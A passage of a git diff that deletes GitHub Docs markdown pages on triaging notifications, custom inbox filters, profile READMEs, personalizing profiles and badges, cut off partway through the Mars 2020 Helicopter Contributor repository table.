-| Unread | Marks notification as unread. To only view unread notifications in your inbox, use the `is:unread` query. |
-
-To see the available keyboard shortcuts, see [AUTOTITLE](/get-started/accessibility/keyboard-shortcuts#notifications).
-
-Before choosing a triage option, you can preview your notification's details first and investigate. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification).
-
-## Triaging multiple notifications at the same time
-
-To triage multiple notifications at once, select the relevant notifications and use the {% octicon "kebab-horizontal" aria-label="More options" %} drop-down to choose a triage option.
-
-
-
-## Default notification filters
-
-By default, your inbox has filters for when you are assigned, participating in a thread, requested to review a pull request, or when your username is @mentioned directly or a team you're a member of is @mentioned.
-
-## Customizing your inbox with custom filters
-
-You can add up to 15 of your own custom filters.
-
-{% data reusables.notifications.access_notifications %}
-1. To open the filter settings, in the left sidebar, next to "Filters", click {% octicon "gear" aria-label="Customize filters" %}.
-
- > [!TIP]
- > You can quickly preview a filter's inbox results by creating a query in your inbox view and clicking **Save**, which opens the custom filter settings.
-
-1. Add a name for your filter and a filter query. For example, to only see notifications for a specific repository, you can create a filter using the query `repo:octocat/open-source-project-name reason:participating`. You can also add emojis with a native emoji keyboard. For a list of supported search queries, see [Supported queries for custom filters](#supported-queries-for-custom-filters).
-
- 
-
-1. Click **Create**.
-
-## Custom filter limitations
-
-Custom filters do not currently support:
-
-* Full text search in your inbox, including searching for pull request or issue titles
-* Distinguishing between the `is:issue`, `is:pr`, and `is:pull-request` query filters. These queries will return both issues and pull requests.
-* Creating more than 15 custom filters
-* Changing the default filters or their order
-* Search [exclusion](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax#exclude-certain-results) using `NOT` or `-QUALIFIER`
-
-## Supported queries for custom filters
-
-These are the types of filters that you can use:
-* Filter by repository with `repo:`
-* Filter by discussion type with `is:`
-* Filter by notification reason with `reason:`{% ifversion fpt or ghec %}
-* Filter by notification author with `author:`
-* Filter by organization with `org:`{% endif %}
-
-### Supported `repo:` queries
-
-To add a `repo:` filter, you must include the owner of the repository in the query: `repo:owner/repository`. An owner is the organization or the user who owns the {% data variables.product.prodname_dotcom %} asset that triggers the notification. For example, `repo:octo-org/octo-repo` will show notifications triggered in the octo-repo repository within the octo-org organization.
-
-### Supported `is:` queries
-
-To filter notifications for specific activity on {% data variables.product.prodname_dotcom %}, you can use the `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`.
-
-* `is:check-suite`
-* `is:commit`
-* `is:gist`
-* `is:issue-or-pull-request`
-* `is:release`
-* `is:repository-invitation`
-* `is:repository-vulnerability-alert`{% ifversion fpt or ghec %}
-* `is:repository-advisory`{% endif %}{% ifversion team-discussions %}
-* `is:team-discussion`{% endif %}{% ifversion fpt or ghec %}
-* `is:discussion`{% endif %}
-
-For information about reducing noise from notifications for {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts).
-
-You can also use the `is:` query to describe how the notification was triaged.
-
-* `is:saved`
-* `is:done`
-* `is:unread`
-* `is:read`
-
-### Supported `reason:` queries
-
-To filter notifications by why you've received an update, you can use the `reason:` query. For example, to see notifications when you (or a team you're on) is requested to review a pull request, use `reason:review-requested`. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications#reasons-for-receiving-notifications).
-
-| Query | Description |
-|-----------------|-------------|
-| `reason:assign` | When there's an update on an issue or pull request you've been assigned to.
-| `reason:author` | When you opened a pull request or issue and there has been an update or new comment.
-| `reason:comment`| When you commented on an issue{% ifversion team-discussions %}, pull request, or team discussion{% else %} or pull request{% endif %}.
-| `reason:participating` | When you have commented on an issue{% ifversion team-discussions %}, pull request, or team discussion{% else %} or pull request{% endif %} or you have been @mentioned.
-| `reason:invitation` | When you're invited to a team, organization, or repository.
-| `reason:manual` | When you click **Subscribe** on an issue or pull request you weren't already subscribed to.
-| `reason:mention` | You were directly @mentioned.
-| `reason:review-requested` | You or a team you're on have been requested to review a pull request.
-| `reason:security-alert` | When a security alert is issued for a repository.
-| `reason:state-change` | When the state of a pull request or issue is changed. For example, an issue is closed or a pull request is merged.
-| `reason:team-mention` | When a team you're a member of is @mentioned.
-| `reason:ci-activity` | When a repository has a CI update, such as a new workflow run status.
-
-{% ifversion fpt or ghec %}
-
-### Supported `author:` queries
-
-To filter notifications by user, you can use the `author:` query. An author is the original author of the thread (issue, pull request, gist, discussions, and so on) for which you are being notified. For example, to see notifications for threads created by the Octocat user, use `author:octocat`.
-
-### Supported `org:` queries
-
-To filter notifications by organization, you can use the `org` query. The organization you need to specify in the query is the organization of the repository for which you are being notified on {% data variables.product.prodname_dotcom %}. This query is useful if you belong to several organizations, and want to see notifications for a specific organization.
-
-For example, to see notifications from the octo-org organization, use `org:octo-org`.
-
-{% endif %}
-
-## {% data variables.product.prodname_dependabot %} custom filters
-
-If you use {% data variables.product.prodname_dependabot %} to keep your dependencies up-to-date, you can use and save these custom filters:
-* `is:repository_vulnerability_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %}.
-* `reason:security_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %} and security update pull requests.
-* `author:app/dependabot` to show notifications generated by {% data variables.product.prodname_dependabot %}. This includes {% data variables.product.prodname_dependabot_alerts %}, security update pull requests, and version update pull requests.
-
-For more information about {% data variables.product.prodname_dependabot %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts).
diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md
deleted file mode 100644
index ac539ed2def7..000000000000
--- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md
+++ /dev/null
@@ -1,44 +0,0 @@
----
-title: Triaging a single notification
-intro: 'When you review and investigate a single notification, you have several triaging options that are optimized for the detailed notification view.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Notifications
-redirect_from:
- - /github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification
- - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification
-shortTitle: Triage a notification
----
-## Saving a single notification
-
-To save a single notification to review later, to the right of the notification, click {% octicon "bookmark" aria-label="Save" %}. You can only save one notification at a time.
-
-Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day.
-
-
-
-## Investigating a notification
-
-When you click an individual notification from your inbox, you're directed to the conversation that prompted the notification. From the top of the page, you can:
-* Mark the individual notification as done
-* Unsubscribe from future notifications
-* Mark the notification as read
-* Save the notification for later
-* Return to your notifications inbox
-
-For more information about your triage options, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#triaging-options).
-
-## Customizing when to receive future updates for an issue or pull request
-
-You can choose how you want to receive future notifications for a specific issue or pull request.
-
-1. In the right column of the issue or pull request, next to "Notifications", click **Customize**.
-
- 
-
-1. In the dialog box, select **Custom**, then choose when you'd like to receive a notification update for this thread. For example, you can choose to receive an update when the pull request has been merged, closed, or reopened. You will be subscribed again if you participate in the thread, your username is @mentioned, or a team you're a member of is @mentioned.
-
-1. Click **Save**.
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md
deleted file mode 100644
index 583b58b23ecb..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md
+++ /dev/null
@@ -1,30 +0,0 @@
----
-title: About your organization's profile
-intro: Your organization's profile page shows basic information about your organization.
-redirect_from:
- - /articles/about-your-organization-s-profile
- - /articles/about-your-organizations-profile
- - /github/setting-up-and-managing-your-github-profile/about-your-organizations-profile
- - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-shortTitle: Organization's profile
----
-
-You can optionally choose to add a description, location, website, and email address for your organization, and pin important repositories. You can customize your organization's public profile by adding a `README.md` file. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile).
-
-{% ifversion fpt %}
-Organizations that use {% data variables.product.prodname_ghe_cloud %} can confirm their organization's identity and display a "Verified" badge on their organization's profile page by verifying the organization's domains with {% data variables.product.github %}. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization) in the {% data variables.product.prodname_ghe_cloud %} documentation.
-{% elsif ghec or ghes %}
-To confirm your organization's identity and display a "Verified" badge on your organization profile page, you can verify your organization's domains with {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization).
-{% endif %}
-
-
-
-## Further reading
-
-* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-organizations)
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
deleted file mode 100644
index 83434d87afdd..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
+++ /dev/null
@@ -1,44 +0,0 @@
----
-title: About your profile
-intro: 'Your profile page tells people the story of your work through the repositories you''re interested in, the contributions you''ve made, and the conversations you''ve had.'
-redirect_from:
- - /articles/viewing-your-feeds
- - /articles/profile-pages
- - /articles/about-your-profile
- - /github/setting-up-and-managing-your-github-profile/about-your-profile
- - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
----
-You can add personal information about yourself in your bio, like previous places you've worked, projects you've contributed to, or interests you have that other people may like to know about. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#adding-a-bio-to-your-profile).
-
-{% data reusables.profile.profile-readme %}
-
-
-
-People who visit your profile see a timeline of your contribution activity, like issues and pull requests you've opened, commits you've made, and pull requests you've reviewed. You can choose to display only public contributions or to also include private, anonymized contributions. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile) or [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile).
-
-People who visit your profile can also see the following information:
-
-* Repositories and gists you own or contribute to. You can showcase your best work by pinning repositories and gists to your profile. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile).
-* Repositories you've starred{% ifversion fpt or ghec %} and organized into lists{% endif %}. For more information, see [AUTOTITLE](/get-started/exploring-projects-on-github/saving-repositories-with-stars).
-* An overview of your activity in organizations, repositories, and teams you're most active in. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile).{% ifversion fpt or ghec %}
-* Badges and Achievements that highlight your activity and show if you use {% data variables.product.prodname_pro %} or participate in programs like the {% data variables.product.prodname_arctic_vault %}, {% data variables.product.prodname_sponsors %}, or the {% data variables.product.company_short %} Developer Program. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#displaying-badges-on-your-profile).{% endif %}
-{%- ifversion profile-pronouns %}
-* Your pronouns if you've set them. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#adding-pronouns-to-your-profile).
-{%- endif %}
-{%- ifversion fpt or ghec %}
-* Mutual connections you share with someone who is viewing your profile. The person viewing your profile can see which of the people they follow are also followed by you.
-{%- endif %}
-
-You can also set a status on your profile to provide information about your availability. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status).
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile)
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile)
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile)
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md
deleted file mode 100644
index d5b30b53132e..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Customizing your profile
-intro: You can customize your profile so that other people can get a better sense of who you are and the work you do.
-redirect_from:
- - /articles/customizing-your-profile
- - /github/setting-up-and-managing-your-github-profile/customizing-your-profile
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-children:
- - /about-your-profile
- - /about-your-organizations-profile
- - /personalizing-your-profile
- - /managing-your-profile-readme
- - /pinning-items-to-your-profile
- - /setting-your-profile-to-private
- - /using-your-github-profile-to-enhance-your-resume
----
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md
deleted file mode 100644
index ce50dc5cf298..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md
+++ /dev/null
@@ -1,67 +0,0 @@
----
-title: Managing your profile README
-intro: 'You can add a README to your {% data variables.product.prodname_dotcom %} profile to tell other people about yourself.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-permissions: 'Profile READMEs are not available to {% data variables.enterprise.prodname_managed_users %}.'
-redirect_from:
- - /github/setting-up-and-managing-your-github-profile/managing-your-profile-readme
- - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme
-shortTitle: Your profile README
----
-## About your profile README
-
-You can share information about yourself with the community on {% data variables.product.prodname_dotcom %} by creating a profile README. {% data variables.product.prodname_dotcom %} shows your profile README at the top of your profile page.
-
-You decide what information to include in your profile README, so you have full control over how you present yourself on {% data variables.product.prodname_dotcom %}. Here are some examples of information that visitors may find interesting, fun, or useful in your profile README.
-
-* An "About me" section that describes your work and interests
-* Contributions you're proud of, and context about those contributions
-* Guidance for getting help in communities where you're involved
-
-
-
-You can format text and include emoji, images, and GIFs in your profile README by using {% data variables.product.company_short %} Flavored Markdown. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github). For a hands-on guide to customizing your profile README, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github).
-
-## Prerequisites
-
-{% data variables.product.prodname_dotcom %} will display your profile README on your profile page if all of the following are true.
-
-* You've created a repository with a name that matches your {% data variables.product.prodname_dotcom %} username.
-* The repository is public.
-* The repository contains a file named README.md in its root.
-* The README.md file contains any content.
-
-> [!NOTE]
-> If you created a public repository with the same name as your username before July 2020, {% data variables.product.prodname_dotcom %} won't automatically show the repository's README on your profile. You can manually share the repository's README to your profile by going to the repository on {% data variables.product.prodname_dotcom %} and clicking **Share to profile**.
-
-## Adding a profile README
-
-{% data reusables.profile.create-profile-readme %}
-1. Above the right sidebar, click **Edit README**.
-
- The generated README file is pre-populated with a template to give you some inspiration for your profile README.
-
-For a summary of all the available emojis and their codes, see [Emoji cheat sheet](https://www.webfx.com/tools/emoji-cheat-sheet/).
-
-## Removing a profile README
-
-The profile README will be removed from your {% data variables.product.prodname_dotcom %} profile if any of the following apply:
-
-* The README file is removed or made empty.
-* The repository is made private.
-* The repository name no longer matches your username due to a change in either or both names.
-
-The method you choose depends upon your needs, but if you're unsure, we recommend making your repository private. For steps on how to make your repository private, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility#changing-a-repositorys-visibility).
-
-## Further reading
-
-* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes)
-* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile#adding-a-member-only-organization-profile-readme)
-{%- ifversion enterprise-readme %}
-* [AUTOTITLE](/admin/managing-your-enterprise-account/creating-a-readme-for-an-enterprise)
-{%- endif %}
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
deleted file mode 100644
index a1eaa097b789..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
+++ /dev/null
@@ -1,269 +0,0 @@
----
-title: Personalizing your profile
-intro: 'You can share information about yourself with other users by setting a profile picture and adding a bio to your profile.'
-redirect_from:
- - /articles/adding-a-bio-to-your-profile
- - /articles/setting-your-profile-picture
- - /articles/how-do-i-set-up-my-profile-picture
- - /articles/gravatar-problems
- - /articles/how-do-i-set-up-my-avatar
- - /articles/personalizing-your-profile
- - /github/setting-up-and-managing-your-github-profile/personalizing-your-profile
- - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-shortTitle: Personalize
----
-
-{% ifversion fpt or ghec %}
-> [!NOTE]
-> Any details you add to your public profile will be visible to all {% data variables.product.github %} users, including in regions where local laws, regulations, or cultural norms may pose risks to expressing your identity. We respect everyone’s decision about whether or not to share information about themselves on their {% data variables.product.github %} profile.
-{% endif %}
-
-## Changing your profile picture
-
-Your profile picture helps identify you across {% data variables.product.github %} in pull requests, comments, contributions pages, and graphs.
-
-When you sign up for an account, {% data variables.product.github %} provides you with a randomly generated "identicon". [Your identicon](https://github.com/blog/1586-identicons) generates from a hash of your user ID, so there's no way to control its color or pattern. You can replace your identicon with an image that represents you.
-
-> [!NOTE] {% ifversion ghec %}
-> * {% endif %}Your profile picture should be a PNG, JPG, or GIF file, and it must be less than 1 MB in size and smaller than 3000 by 3000 pixels. For the best quality rendering, we recommend keeping the image at about 500 by 500 pixels.
-{% ifversion ghec %}> * Gravatar profile pictures are not supported with {% data variables.product.prodname_emus %}.{% endif %}
-
-If you use Gravatar, and your Gravatar image is associated with the email you use for {% data variables.product.github %}, the image will be shown as your {% data variables.product.github %} profile picture by default (rather than an identicon). To change your profile picture, you can either upload a new image to Gravatar, or upload a new image to {% data variables.product.github %} and override the Gravatar image.
-
-### Setting a profile picture
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.accounts.set-profile-picture %}
-
-### Resetting your profile picture to the identicon
-
-{% data reusables.user-settings.access_settings %}
-1. Under "Profile Picture", select **{% octicon "pencil" aria-hidden="true" %} Edit**, then click **Remove photo** to revert to your identicon.
-
- If your email address is associated with a [Gravatar](https://en.gravatar.com/), you cannot revert to your identicon. Click **Revert to Gravatar** instead.
-
- 
-
-## Changing your profile name
-
-You can change the name that is displayed on your profile. This name may also be displayed next to comments you make on private repositories owned by an organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization).
-
-{% ifversion fpt or ghec %}
-
-> [!NOTE]
-> If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, any changes to your profile name must be made through your identity provider instead of {% data variables.product.prodname_dotcom %}. {% data reusables.enterprise-accounts.emu-more-info-account %}
-
-{% endif %}
-
-{% data reusables.user-settings.access_settings %}
-1. Under "Public profile", in the "Name" field, type the name you want to be displayed on your profile.
-
-## Adding a bio to your profile
-
-Add a bio to your profile to share information about yourself with other {% data variables.product.github %} users. With the help of [@mentions](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) and emoji, you can include information about where you currently or have previously worked, what type of work you do, or even what kind of coffee you drink.
-
-For a longer-form and more prominent way of displaying customized information about yourself, you can also use a profile README. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme).
-
-> [!NOTE]
-> If you have the activity overview section enabled for your profile and you @mention an organization you're a member of in your profile bio, then that organization will be featured first in your activity overview. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile).
-
-{% data reusables.user-settings.access_settings %}
-1. Under "Public profile", in the "Bio" field, type the content that you want displayed on your profile. The bio field is limited to 160 characters.
-
- > [!TIP]
- > When you @mention an organization, only those that you're a member of will autocomplete. You can still @mention organizations that you're not a member of, like a previous employer, but the organization name won't autocomplete for you.
-
-{% data reusables.profile.update-profile %}
-
-{% ifversion profile-pronouns %}
-
-## Adding pronouns to your profile
-
-Add pronouns to your public user profile to share information about yourself with other {% data variables.product.github %} users. {% data reusables.profile.pronouns-visibility %}
-
-{% data reusables.user-settings.access_settings %}
-1. Under **Pronouns**, add the pronouns that you want displayed on your profile. You may add custom pronouns.
-
-{% data reusables.profile.update-profile %}
-
-{% endif %}
-
-## Setting your location and time zone
-
-You can set a location and time zone on your profile to show other people your local time. Your location and time zone will be visible:
-* On your profile page
-* When people hover over your username or avatar
-
-
-
-When you view your profile, you will see your location, local time, and your time zone in relation to Universal Time Coordinated. When others view your profile, they will see your location, local time, and the time difference in hours from their own local time.
-
-{% data reusables.user-settings.access_settings %}
-1. Under "Public profile", in the "Location" field, type the location you want to be displayed on your profile.
-1. Optionally, display the current local time on your profile.
- * Select **Display current local time**.
- * Select the **Time zone** dropdown menu, then click your local time zone.
-{% data reusables.profile.update-profile %}
-
-{% ifversion profile-social-links %}
-
-## Adding links to your social accounts
-
-You can add up to four links to social accounts on your profile. These are visible to anyone who can view your profile.
-
-{% data reusables.user-settings.access_settings %}
-1. Under "Social accounts", in a blank "Link to social profile" field, type the full URL of the social account. For example, for the `@GitHub` Twitter account, type `https://twitter.com/github`.
-{% data reusables.profile.update-profile %}
-
-{% endif %}
-
-{% ifversion fpt or ghec %}
-
-## Adding your ORCID iD to your profile
-
-If you're a researcher with an ORCID iD, you can identify yourself by adding your ORCID iD to your profile.
-
-{% data reusables.user-settings.access_settings %}
-1. Under "ORCID iD", click **Connect your ORCID iD**.
-1. Follow the steps to sign in to your ORCID account and then return to {% data variables.product.prodname_dotcom %}.
-
-{% endif %}
-
-## Setting a status
-
-You can set a status to display information about your current availability. Your status will show:
-* On your profile page
-* When people hover over your username or avatar
-* On a team page for a team where you're a team member. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams#team-pages).
-* On the organization dashboard in an organization where you're a member. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard).
-
-When you set your status, you can also let people know that you have limited availability.
-
-If you select the "Busy" option, when people @mention your username, assign you an issue or pull request, or request a pull request review from you, a note next to your username will show that you're busy. You will also be excluded from automatic review assignment for pull requests assigned to any teams you belong to. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team).
-
-
-
-1. In the top right corner of {% data variables.product.prodname_dotcom %}, select your profile photo, then click **{% octicon "smiley" aria-hidden="true" %} Set status** or, if you already have a status set, click your current status.
-
- 
-
-1. In the "What's happening" field, type a status message.
-1. Optionally, to set an emoji status, click {% octicon "smiley" aria-label="Choose an emoji" %}, then click an emoji from the list.
-1. Optionally, if you'd like to share that you have limited availability, select "Busy."
-1. Select the **Clear status** dropdown menu, then click when you want your status to expire. If you don't select a status expiration, you will keep your status until you clear or edit your status.
-1. Select the **Visible to** dropdown menu, then click who you want your status visible to. If you don't select an organization, your status will be public.
-1. Click **Set status**.
-
-{% ifversion fpt or ghec %}
-
-## Displaying badges on your profile
-
-When you participate in certain programs, {% data variables.product.prodname_dotcom %} automatically displays a badge on your profile.
-
-| Badge | Program | Description |
-| --- | --- | --- |
-| {% octicon "cpu" aria-label="The Developer Program icon" %} | **Developer Program Member** | If you're a registered member of the {% data variables.product.prodname_dotcom %} Developer Program, building an app with the {% data variables.product.github %} API, you'll get a Developer Program Member badge on your profile. For more information on the {% data variables.product.prodname_dotcom %} Developer Program, see [GitHub Developer](/get-started/exploring-integrations/github-developer-program). |
-| {% octicon "star-fill" aria-label="The star icon" %} | **Pro** | If you use {% data variables.product.prodname_pro %} you'll get a PRO badge on your profile. For more information about {% data variables.product.prodname_pro %}, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans#github-pro). |
-| {% octicon "lock" aria-label="The lock icon" %} | **Security Bug Bounty Hunter** | If you helped out hunting down security vulnerabilities, you'll get a Security Bug Bounty Hunter badge on your profile. For more information about the {% data variables.product.prodname_dotcom %} Security program, see [{% data variables.product.prodname_dotcom %} Security](https://bounty.github.com/). |
-| {% octicon "mortar-board" aria-label="The mortar-board icon" %} | **{% data variables.product.prodname_dotcom %} Campus Expert** | If you participate in the {% data variables.product.prodname_campus_program %}, you will get a {% data variables.product.prodname_dotcom %} Campus Expert badge on your profile. For more information about the Campus Experts program, see [Campus Experts](https://education.github.com/experts). |
-| {% octicon "shield" aria-label="The shield icon" %} | **Security advisory credit** | If a security advisory you submit to the [{% data variables.product.prodname_dotcom %} Advisory Database](https://github.com/advisories) is accepted, you'll get a Security advisory credit badge on your profile. For more information about {% data variables.product.prodname_dotcom %} Security Advisories, see [{% data variables.product.prodname_dotcom %} Security Advisories](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories). |
-
-{% endif %}
-
-{% ifversion fpt or ghec %}
-
-## Earning Achievements
-
-Achievements celebrate specific events and actions that happen on {% data variables.product.prodname_dotcom %}. They will appear as small badges listed in the sidebar of your profile. Clicking or hovering on an achievement will show a detailed view that hints at how the achievement was earned, with a short description and links to the contributing events. The event links will only be visible to users that have access to the repository or organization that the event took place in. Event links will appear inaccessible to all users without access.
-
-To stop private contributions from counting toward your Achievements, or to turn off Achievements entirely, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile).
-
-> [!NOTE]
-> This feature is currently in {% data variables.release-phases.public_preview %} and subject to change.
-
-{% endif %}
-
-## List of qualifying repositories for Mars 2020 Helicopter Contributor achievement
-
-The Mars 2020 Helicopter Contributor achievement was given to those who had authored a commit for one of the repositories listed below. This event has now ended, and the badge is no longer available. We built the list based on information received from NASA's Jet Propulsion Laboratory.
-
-| {% data variables.product.prodname_dotcom %} Repository | Version | Tag |
-|---|---|---|
-| [torvalds/linux](https://github.com/torvalds/linux) | 3.4 | [v3.4](https://github.com/torvalds/linux/releases/tag/v3.4) |
-| [python/cpython](https://github.com/python/cpython) | 3.9.2 | [v3.9.2](https://github.com/python/cpython/releases/tag/v3.9.2) |
-| [boto/boto3](https://github.com/boto/boto3) | 1.17.17 | [1.17.17](https://github.com/boto/boto3/releases/tag/1.17.17) |
-| [boto/botocore](https://github.com/boto/botocore) | 1.20.11 | [1.20.11](https://github.com/boto/botocore/releases/tag/1.20.11) |
-| [certifi/python-certifi](https://github.com/certifi/python-certifi) | 2020.12.5 | [2020.12.05](https://github.com/certifi/python-certifi/releases/tag/2020.12.05) |
-| [chardet/chardet](https://github.com/chardet/chardet) | 4.0.0 | [4.0.0](https://github.com/chardet/chardet/releases/tag/4.0.0) |
-| [matplotlib/cycler](https://github.com/matplotlib/cycler) | 0.10.0 | [v0.10.0](https://github.com/matplotlib/cycler/releases/tag/v0.10.0) |
-| [elastic/elasticsearch-py](https://github.com/elastic/elasticsearch-py) | 6.8.1 | [6.8.1](https://github.com/elastic/elasticsearch-py/releases/tag/6.8.1) |
-| [ianare/exif-py](https://github.com/ianare/exif-py) | 2.3.2 | [2.3.2](https://github.com/ianare/exif-py/releases/tag/2.3.2) |
-| [kjd/idna](https://github.com/kjd/idna) | 2.10 | [v2.10](https://github.com/kjd/idna/releases/tag/v2.10) |
-| [jmespath/jmespath.py](https://github.com/jmespath/jmespath.py) | 0.10.0 | [0.10.0](https://github.com/jmespath/jmespath.py/releases/tag/0.10.0) |
-| [nucleic/kiwi](https://github.com/nucleic/kiwi) | 1.3.1 | [1.3.1](https://github.com/nucleic/kiwi/releases/tag/1.3.1) |
-| [matplotlib/matplotlib](https://github.com/matplotlib/matplotlib) | 3.3.4 | [v3.3.4](https://github.com/matplotlib/matplotlib/releases/tag/v3.3.4) |
-| [numpy/numpy](https://github.com/numpy/numpy) | 1.20.1 | [v1.20.1](https://github.com/numpy/numpy/releases/tag/v1.20.1) |
-| [opencv/opencv-python](https://github.com/opencv/opencv-python) | 4.5.1.48 | [48](https://github.com/opencv/opencv-python/releases/tag/48) |
-| [python-pillow/Pillow](https://github.com/python-pillow/Pillow) | 8.1.0 | [8.1.0](https://github.com/python-pillow/Pillow/releases/tag/8.1.0) |
-| [pycurl/pycurl](https://github.com/pycurl/pycurl) | 7.43.0.6 | [REL_7_43_0_6](https://github.com/pycurl/pycurl/releases/tag/REL_7_43_0_6) |
